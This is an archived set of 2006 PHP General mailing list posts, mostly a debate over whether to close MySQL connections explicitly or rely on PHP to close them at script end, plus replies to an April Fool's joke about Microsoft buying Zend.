Stut wrote:

  Joe Wollard wrote:
 
  Leave poor Zouari alone! I for one think that Microsoft
  buying Zend would be the best thing to happen to PHP, EVAR!
  This Rasmus guy didn't even mean for PHP to be what it is, he
  just wanted something simple and now look at it. It's WAY to
  complex for an unorganized bunch of hobbyists to maintain. I'm
  personally looking forward to the way they'll clean things up.
  Who knows, maybe once they've got PHP under control we won't
  need these security 'experts' like Chris Shifflett any more because
  would be hackers won't be able to see the source code, which of
  course means they won't be able to find vulnerabilities. You
guys just
  need to give up on this open source hippie dream and let Microsoft
  change things for the better - who cares if Stephen King thinks
  they are working in conjunction with the Crimson King and that
  they might build robots that will someday take over the world
  and more or less 'suck the s-m-r-t' out of 50% of the worlds
  twins? He looks creepy anyway.
 
   - and a happy April fool's to all ;-)
 

__
 Troll, I warnest thee, BEGONE!!! 
--
  \/ \  //\
   \|\___/|  /   \//  \\
/0  0  \__  ///  | \ \
   / /  \/_///   |  \  \
   @_^_@'/   \/_   //|   \   \
   //_^_/ \/_ // |\\
( //) |\///  | \ \
  ( / /) _|_ /   )  //   |  \ _\
( // /) '/,_ _ _/  ( ; -.|_ _\.-~.-~~~^-.
  (( / / )) ,-{_  `-.|.-~-.   .~ `.
(( // / ))  '/\  / ~-. _ .-~  .-~^-.  \
(( /// ))  `.   {}   /  \  \
  (( / )) .~-.\\-' .~ \  `. \^-.
 ///...\ _ -~
`.  ^-`  ^-_
   ///-._ _ _ _ _ _ _}^ - - - - ~
~-- ,.-~

  /.-~


:-D

  Here's assuming that was a joke so I won't get into the factual
  errors. I wonder how Zend and the other core developers will
  feel about being referred to as an unorganized bunch of hobbyists.
 
  -Stut


Well, I'm not sure about your LOCALE and cultural referents,
but from where I'm sitting I could freakin' *see* the sarcasm
tags on that one ... or maybe it's just my MUA.  ;-)

As an aside, to prevent further potential misunderstanding,
there's one on my ASCII art as well :-D

KDK

--
Disclose classified information only when a NEED TO KNOW exists.




--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] MySQL close connection, what's the purpose?

2006-04-01 Thread Jasper Bryant-Greene

tedd wrote:

I always close the connection right after my

   query -- force of habit. It's like leaving the
   toilet seat up, it's only going to get you into
   trouble.
 
  So you close it after every query and then re-open it later for the
  next query? I don't see that as a good idea.

  
  No, you leave it open until you're done with the database.

Reading Ted's post didn't give this impression. I wanted to make sure
he wasn't doing it that way.


Chris et al:

Actually I am. When I need something from the dB, I open it, get the 
information and close it. It's like opening a drawer, getting what you 
need, and then closing the drawer. Where's the problem?


Uh, what if you want to do more than one query in a single request? You 
aren't seriously suggesting you would connect and disconnect from the 
same database multiple times within the same request?


In my experience, connecting to the database takes up more than half of 
the execution time of the average database-driven PHP script (I said 
*average*, there are exceptions). You don't want to be doing it multiple 
times if you don't have to.


--
Jasper Bryant-Greene
General Manager
Album Limited

http://www.album.co.nz/ 0800 4 ALBUM
[EMAIL PROTECTED]  021 708 334

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] microsoft PHP ?

2006-04-01 Thread Gerry Danen
On 4/1/06, Stut [EMAIL PROTECTED] wrote:
 Gerry Danen wrote:
  Come on, you should have played along... ;-)

 I'd had my fill by the time that arrived. It seems to me that people go
 overboard now. Slashdot used to have one a year, and it was always
 something that was vaguely possible, this year they've even changed the
 colour scheme on the site. Shame really.

Stut,

I agree that some jokes are taken too far. I have just returned to
work after a heart episode but it did not send me back to the
hospital. I agree that the last thing Zend deserves is the mshaft, but
let's take the joke for what it was...

I'm in GMT -7 so I get the jokes a bit later. Sorry if I added to your grief.

Gerry

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] microsoft PHP ?

2006-04-01 Thread Gerry Danen
On 4/1/06, Stut [EMAIL PROTECTED] wrote:

 Here's assuming that was a joke so I won't get into the factual errors.
 I wonder how Zend and the other core developers will feel about being
 referred to as an unorganized bunch of hobbyists.

Now that is slander we don't need. Group hug with the Zend folks, please.

G

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] MySQL close connection, what's the purpose?

2006-04-01 Thread chris smith
On 4/2/06, tedd [EMAIL PROTECTED] wrote:
  I always close the connection right after my
 query -- force of habit. It's like leaving the
 toilet seat up, it's only going to get you into
 trouble.
   
So you close it after every query and then re-open it later for the
next query? I don't see that as a good idea.

No, you leave it open until you're done with the database.
 
 Reading Ted's post didn't give this impression. I wanted to make sure
 he wasn't doing it that way.

Firstly sorry for calling you Ted, not Tedd :)

 Actually I am. When I need something from the dB, I open it, get the
 information and close it. It's like opening a drawer, getting what
 you need, and then closing the drawer. Where's the problem?

 I don't see any reason whatsoever for me to open the dB at the start
 of my session and then close it at the end. Is there some
 overwhelming reason for anyone to do so?

Time. Opening a db connection is time consuming. There are many levels
involved (making the connection, authentication, etc).. Even worse if
the connection is over tcp/ip because that overhead comes in on top as
well.

 You see, my habit stems from doing a lot of communication programming
 -- it was my experience that you open a communication port
 (file/channel/port/whatever); establish a link; exchange data; and
 close it. There's no need to leave it open.

Just because you can close it doesn't mean you have to.

You can send 10 (or 100) messages through an smtp server before closing it...

It depends on what you are doing.

I'm sure there are tons of cases where you should open/action/close.
Db isn't one of those.

--
Postgresql  php tutorials
http://www.designmagick.com/

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] MySQL close connection, what's the purpose?

2006-04-01 Thread tedd

At 11:07 AM +1200 4/2/06, Jasper Bryant-Greene wrote:

tedd wrote:

I always close the connection right after my

   query -- force of habit. It's like leaving the
   toilet seat up, it's only going to get you into
   trouble.
 
  So you close it after every query and then re-open it later for the
  next query? I don't see that as a good idea.

  
  No, you leave it open until you're done with the database.

Reading Ted's post didn't give this impression. I wanted to make sure
he wasn't doing it that way.


Chris et al:

Actually I am. When I need something from the dB, I open it, get 
the information and close it. It's like opening a drawer, getting 
what you need, and then closing the drawer. Where's the problem?


Uh, what if you want to do more than one query in a single request? 
You aren't seriously suggesting you would connect and disconnect 
from the same database multiple times within the same request?


No, I'm not. What I am suggesting is that if you are done with your 
query, and are not immediately asking another, then hang up. If 
another segment of your code wants to access the dB again, then open 
it as you want. The practice makes for more modular code and keeps 
the right connections active when they are needed.


In my experience, connecting to the database takes up more than half 
of the execution time of the average database-driven PHP script (I 
said *average*, there are exceptions). You don't want to be doing it 
multiple times if you don't have to.


In my experience, it's better, in many ways, to put things away when 
you're done using them. This tread started out with What's the 
purpose of closing a connection? After all, when the script finishes, 
doesn't the dB automatically close? While that's true, I personally 
think it's a bad habit that could lead to problems. Your mileage may 
vary.


tedd

--

http://sperling.com

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] MySQL close connection, what's the purpose?

2006-04-01 Thread tedd

Time. Opening a db connection is time consuming. There are many levels
involved (making the connection, authentication, etc).. Even worse if
the connection is over tcp/ip because that overhead comes in on top as
well.


Have you timed it?

It would be interesting to actually run a script that opens, 
retrieves, and inserts data -- let's say 50k times. What's the time 
difference between one open, 50k retrieves/inserts, and one close-- 
as compared 50k opens retrieve/insert closes?


Maybe I'll do that tomorrow.


  You see, my habit stems from doing a lot of communication programming

 -- it was my experience that you open a communication port
 (file/channel/port/whatever); establish a link; exchange data; and
 close it. There's no need to leave it open.


Just because you can close it doesn't mean you have to.


Everyone has their own way.

tedd
--

http://sperling.com

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] MySQL close connection, what's the purpose?

2006-04-01 Thread Robert Cummings
On Sat, 2006-04-01 at 20:15, tedd wrote:
 Time. Opening a db connection is time consuming. There are many levels
 involved (making the connection, authentication, etc).. Even worse if
 the connection is over tcp/ip because that overhead comes in on top as
 well.
 
 Have you timed it?
 
 It would be interesting to actually run a script that opens, 
 retrieves, and inserts data -- let's say 50k times. What's the time 
 difference between one open, 50k retrieves/inserts, and one close-- 
 as compared 50k opens retrieve/insert closes?
 
 Maybe I'll do that tomorrow.
 
You see, my habit stems from doing a lot of communication programming
   -- it was my experience that you open a communication port
   (file/channel/port/whatever); establish a link; exchange data; and
   close it. There's no need to leave it open.
 
 Just because you can close it doesn't mean you have to.
 
 Everyone has their own way.

I'm not going to advocate either style since both have their merits
depending on where and what you are doing. My input is to advocate a
database wrapper layer such that the database connection semantics are
remove from general development. In this way you might have the
following:

?php

$conn = DbConnFactory::getConnection( $params );
$conn-query( 'INSERT INTO blah blah blah' );
$conn-free(); // this may or may not close the connection.

?

This way, if your mileage varies with either technique you can modify
the connection layer to get another semantic which better suits your
application/environment.

Cheers,
Rob.
-- 
..
| InterJinn Application Framework - http://www.interjinn.com |
::
| An application and templating framework for PHP. Boasting  |
| a powerful, scalable system for accessing system services  |
| such as forms, properties, sessions, and caches. InterJinn |
| also provides an extremely flexible architecture for   |
| creating re-usable components quickly and easily.  |
`'

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] MySQL close connection, what's the purpose?

2006-04-01 Thread Jasper Bryant-Greene

Robert Cummings wrote:

On Sat, 2006-04-01 at 20:15, tedd wrote:
It would be interesting to actually run a script that opens, 
retrieves, and inserts data -- let's say 50k times. What's the time 
difference between one open, 50k retrieves/inserts, and one close-- 
as compared 50k opens retrieve/insert closes?

[snip]

Everyone has their own way.


I'm not going to advocate either style since both have their merits
depending on where and what you are doing. My input is to advocate a
database wrapper layer such that the database connection semantics are
remove from general development. In this way you might have the
following:

[snip]

Yeah, e.g. I have a database objects layer that means I only write SQL 
in classes, everything else is just calling object methods. I create the 
database object at the start of every script but that doesn't 
necessarily open the database connection. The database connection is 
opened when I make my first query.


That way if a page does no queries (I use APC caching so it is fairly 
common for a page to do no queries) then no database connection is opened.


I never close connections; PHP does that for me and has never caused any 
problems doing that. I don't see it as sloppy programming, it is a 
documented feature that PHP closes resources such as database 
connections at the end of the script.


But, as has been said, each to their own.

--
Jasper Bryant-Greene
General Manager
Album Limited

http://www.album.co.nz/ 0800 4 ALBUM
[EMAIL PROTECTED]  021 708 334

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] MySQL close connection, what's the purpose?

2006-04-01 Thread Robert Cummings
On Sat, 2006-04-01 at 20:48, Jasper Bryant-Greene wrote:

 Yeah, e.g. I have a database objects layer that means I only write SQL 
 in classes, everything else is just calling object methods. I create the 
 database object at the start of every script but that doesn't 
 necessarily open the database connection. The database connection is 
 opened when I make my first query.
 
 That way if a page does no queries (I use APC caching so it is fairly 
 common for a page to do no queries) then no database connection is opened.
 
 I never close connections; PHP does that for me and has never caused any 
 problems doing that. I don't see it as sloppy programming, it is a 
 documented feature that PHP closes resources such as database 
 connections at the end of the script.
 
 But, as has been said, each to their own.

There's smart lazy programming, and sloppy lazy programming. I don't
trust anything magical in PHP. Most of us are familiar with the magic
quotes and global vars fiascos *LOL*. But hey, if you can squeeze a
rewrite of an application out of a client for relying on dirty
techniques, who am I to critique your forward thinking manipulative
methods -- not to say that's your intent -- but I'd sure question your
motives and judgement if it comes around ;)

Cheers,
Rob.
-- 
..
| InterJinn Application Framework - http://www.interjinn.com |
::
| An application and templating framework for PHP. Boasting  |
| a powerful, scalable system for accessing system services  |
| such as forms, properties, sessions, and caches. InterJinn |
| also provides an extremely flexible architecture for   |
| creating re-usable components quickly and easily.  |
`'

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] MySQL close connection, what's the purpose?

2006-04-01 Thread Jasper Bryant-Greene

Robert Cummings wrote:

On Sat, 2006-04-01 at 20:48, Jasper Bryant-Greene wrote:
Yeah, e.g. I have a database objects layer that means I only write SQL 
in classes, everything else is just calling object methods. I create the 
database object at the start of every script but that doesn't 
necessarily open the database connection. The database connection is 
opened when I make my first query.


That way if a page does no queries (I use APC caching so it is fairly 
common for a page to do no queries) then no database connection is opened.


I never close connections; PHP does that for me and has never caused any 
problems doing that. I don't see it as sloppy programming, it is a 
documented feature that PHP closes resources such as database 
connections at the end of the script.


But, as has been said, each to their own.


There's smart lazy programming, and sloppy lazy programming. I don't
trust anything magical in PHP. Most of us are familiar with the magic
quotes and global vars fiascos *LOL*. But hey, if you can squeeze a
rewrite of an application out of a client for relying on dirty
techniques, who am I to critique your forward thinking manipulative
methods -- not to say that's your intent -- but I'd sure question your
motives and judgement if it comes around ;)


I very much doubt PHP will ever enforce the closing of resources such as 
database connections at the end of every script. That would be a 
needless BC break.


Also, I do it this way because some projects that use my framework want 
persistent connections. If my framework closed connections automatically 
then that wouldn't be possible.


Of course, it wouldn't exactly be a rewrite to make it close the 
connection at the end of every script before PHP did, if I'm proven 
wrong and it one day is necessary. I'd only need to change the database 
objects layer.


--
Jasper Bryant-Greene
General Manager
Album Limited

http://www.album.co.nz/ 0800 4 ALBUM
[EMAIL PROTECTED]  021 708 334

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] MySQL close connection, what's the purpose?

2006-04-01 Thread Robert Cummings
On Sat, 2006-04-01 at 21:39, Jasper Bryant-Greene wrote:
 Robert Cummings wrote:

  There's smart lazy programming, and sloppy lazy programming. I don't
  trust anything magical in PHP. Most of us are familiar with the magic
  quotes and global vars fiascos *LOL*. But hey, if you can squeeze a
  rewrite of an application out of a client for relying on dirty
  techniques, who am I to critique your forward thinking manipulative
  methods -- not to say that's your intent -- but I'd sure question your
  motives and judgement if it comes around ;)
 
 I very much doubt PHP will ever enforce the closing of resources such as 
 database connections at the end of every script. That would be a 
 needless BC break.

I'm sure that was the thought on magic quotes and register globals also.

 Also, I do it this way because some projects that use my framework want 
 persistent connections. If my framework closed connections automatically 
 then that wouldn't be possible.

Your database layer should handle whether a connection is really freed.
Just because the developer calls the close() method on your DB object,
doesn't mean you need to close the connection. But if they don't call a
close() method, then in the future if you do need that functionality...
it's not there.

 Of course, it wouldn't exactly be a rewrite to make it close the 
 connection at the end of every script before PHP did, if I'm proven 
 wrong and it one day is necessary. I'd only need to change the database 
 objects layer.

Wrong, you would just be doing the same thing PHP does... closing the
connection at the end of the script. What happens if you need to open 20
connections to 20 different databases... are you going to keep them all
open? I guess you would since it sounds like you don't have a facility
to close them. I don't think what you're doing is incredibly obscene, I
mean 90% of PHP developers are doing the same thing. 90% of the coding
population can't be wrong... but one that same line of thought... when
you open an image file or text file for reading or writing... do you
close it? Or just leave it open for PHP to close at the end? I mean PHP
will magically close all resources for you, there's obviously no need to
close it... or maybe there are valid times when you need to close a
resource yourself, I dunno, I feel like I'm out on a limb here ;)

Cheers,
Rob
-- 
..
| InterJinn Application Framework - http://www.interjinn.com |
::
| An application and templating framework for PHP. Boasting  |
| a powerful, scalable system for accessing system services  |
| such as forms, properties, sessions, and caches. InterJinn |
| also provides an extremely flexible architecture for   |
| creating re-usable components quickly and easily.  |
`'

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] MySQL close connection, what's the purpose?

2006-04-01 Thread Jasper Bryant-Greene

Robert Cummings wrote:

On Sat, 2006-04-01 at 21:39, Jasper Bryant-Greene wrote:

Robert Cummings wrote:


There's smart lazy programming, and sloppy lazy programming. I don't
trust anything magical in PHP. Most of us are familiar with the magic
quotes and global vars fiascos *LOL*. But hey, if you can squeeze a
rewrite of an application out of a client for relying on dirty
techniques, who am I to critique your forward thinking manipulative
methods -- not to say that's your intent -- but I'd sure question your
motives and judgement if it comes around ;)
I very much doubt PHP will ever enforce the closing of resources such as 
database connections at the end of every script. That would be a 
needless BC break.


I'm sure that was the thought on magic quotes and register globals also.


If PHP didn't close connections at the end of scripts we'd either have 
just about every script in the world throwing errors when they finished, 
or lots of memory leaks. Neither is particularly favourable, so I don't 
think it will happen any time soon...


Also, I do it this way because some projects that use my framework want 
persistent connections. If my framework closed connections automatically 
then that wouldn't be possible.


Your database layer should handle whether a connection is really freed.
Just because the developer calls the close() method on your DB object,
doesn't mean you need to close the connection. But if they don't call a
close() method, then in the future if you do need that functionality...
it's not there.

Of course, it wouldn't exactly be a rewrite to make it close the 
connection at the end of every script before PHP did, if I'm proven 
wrong and it one day is necessary. I'd only need to change the database 
objects layer.


Wrong, you would just be doing the same thing PHP does... closing the
connection at the end of the script. What happens if you need to open 20
connections to 20 different databases... are you going to keep them all
open? I guess you would since it sounds like you don't have a facility
to close them. I don't think what you're doing is incredibly obscene, I
mean 90% of PHP developers are doing the same thing. 90% of the coding
population can't be wrong... but one that same line of thought... when
you open an image file or text file for reading or writing... do you
close it? Or just leave it open for PHP to close at the end? I mean PHP
will magically close all resources for you, there's obviously no need to
close it... or maybe there are valid times when you need to close a
resource yourself, I dunno, I feel like I'm out on a limb here ;)


Yeah, I can see your point. Simple answer though: my framework isn't 
designed for connecting to 20 different databases :) It's designed for 
normal database-driven websites -- where there usually a maximum of two 
connections (master and slave), and often only one connection, open.


I guess I'm just gambling the time-saving benefits of not having to call 
$db-close() or whatever all the time, against the slim possibility that 
I might one day have to write a new framework to deal with apps that do 
20+ DB connections at once. The framework is fairly light anyway as it's 
built on top of PDO, so a rewrite is not a huge deal.


--
Jasper Bryant-Greene
General Manager
Album Limited

http://www.album.co.nz/ 0800 4 ALBUM
[EMAIL PROTECTED]  021 708 334

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] MySQL close connection, what's the purpose?

2006-04-01 Thread Robert Cummings
On Sat, 2006-04-01 at 21:57, Jasper Bryant-Greene wrote:
 Robert Cummings wrote:

  Of course, it wouldn't exactly be a rewrite to make it close the 
  connection at the end of every script before PHP did, if I'm proven 
  wrong and it one day is necessary. I'd only need to change the database 
  objects layer.
  
  Wrong, you would just be doing the same thing PHP does... closing the
  connection at the end of the script. What happens if you need to open 20
  connections to 20 different databases... are you going to keep them all
  open? I guess you would since it sounds like you don't have a facility
  to close them. I don't think what you're doing is incredibly obscene, I
  mean 90% of PHP developers are doing the same thing. 90% of the coding
  population can't be wrong... but one that same line of thought... when
  you open an image file or text file for reading or writing... do you
  close it? Or just leave it open for PHP to close at the end? I mean PHP
  will magically close all resources for you, there's obviously no need to
  close it... or maybe there are valid times when you need to close a
  resource yourself, I dunno, I feel like I'm out on a limb here ;)
 
 Yeah, I can see your point. Simple answer though: my framework isn't 
 designed for connecting to 20 different databases :) It's designed for 
 normal database-driven websites -- where there usually a maximum of two 
 connections (master and slave), and often only one connection, open.

Now getting away from you particular framework and back to the original
question: MySQL close connection, what's the purpose?, we now have an
answer :)

 I guess I'm just gambling the time-saving benefits of not having to call 
 $db-close() or whatever all the time, against the slim possibility that 
 I might one day have to write a new framework to deal with apps that do 
 20+ DB connections at once. The framework is fairly light anyway as it's 
 built on top of PDO, so a rewrite is not a huge deal.

I agree with you in general that the likelihood of PHP stopping it's
support for auto closing of connections is highly unlikely, but this
question wasn't about your framework, but rather about automatic closing
of MySQL connections in general... and so, somebody out there probably
does have an environment where closing the connections makes a LOT of
sense.

BTW, who used register globals and magic quotes in the past and relied
on the argument that PHP would never get rid of them due to the number
of scripts that would break -- show of hands please! *grin*

Cheers,
Rob.
-- 
..
| InterJinn Application Framework - http://www.interjinn.com |
::
| An application and templating framework for PHP. Boasting  |
| a powerful, scalable system for accessing system services  |
| such as forms, properties, sessions, and caches. InterJinn |
| also provides an extremely flexible architecture for   |
| creating re-usable components quickly and easily.  |
`'

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] MySQL close connection, what's the purpose?

2006-04-01 Thread John Nichel

Jasper Bryant-Greene wrote:
snip
I never close connections; PHP does that for me and has never caused any 
problems doing that. I don't see it as sloppy programming, it is a 
documented feature that PHP closes resources such as database 
connections at the end of the script.




It's extremely sloppy programming.  You're assuming that a) PHP will 
continue to be a forgiving language when it comes to items like this and 
b) your script is going to exit normally.  The reason this is a 
'documented feature' is because PHP is trying to make up for sloppy 
programming.  You shouldn't rely on the language to clean up your toys 
for you.


--
By-Tor.com
...it's all about the Rush
http://www.by-tor.com

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] MySQL close connection, what's the purpose?

2006-04-01 Thread Jasper Bryant-Greene

John Nichel wrote:

Jasper Bryant-Greene wrote:
snip
I never close connections; PHP does that for me and has never caused 
any problems doing that. I don't see it as sloppy programming, it is a 
documented feature that PHP closes resources such as database 
connections at the end of the script.




It's extremely sloppy programming.  You're assuming that a) PHP will 
continue to be a forgiving language when it comes to items like this and 
b) your script is going to exit normally.  The reason this is a 
'documented feature' is because PHP is trying to make up for sloppy 
programming.  You shouldn't rely on the language to clean up your toys 
for you.


If the script exits abnormally the connection is still closed. Test it.

I'm happy to gamble on a) as because I have said in earlier posts I am 
very confident this behaviour will not change in the forseeable future.


--
Jasper Bryant-Greene
General Manager
Album Limited

http://www.album.co.nz/ 0800 4 ALBUM
[EMAIL PROTECTED]  021 708 334

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php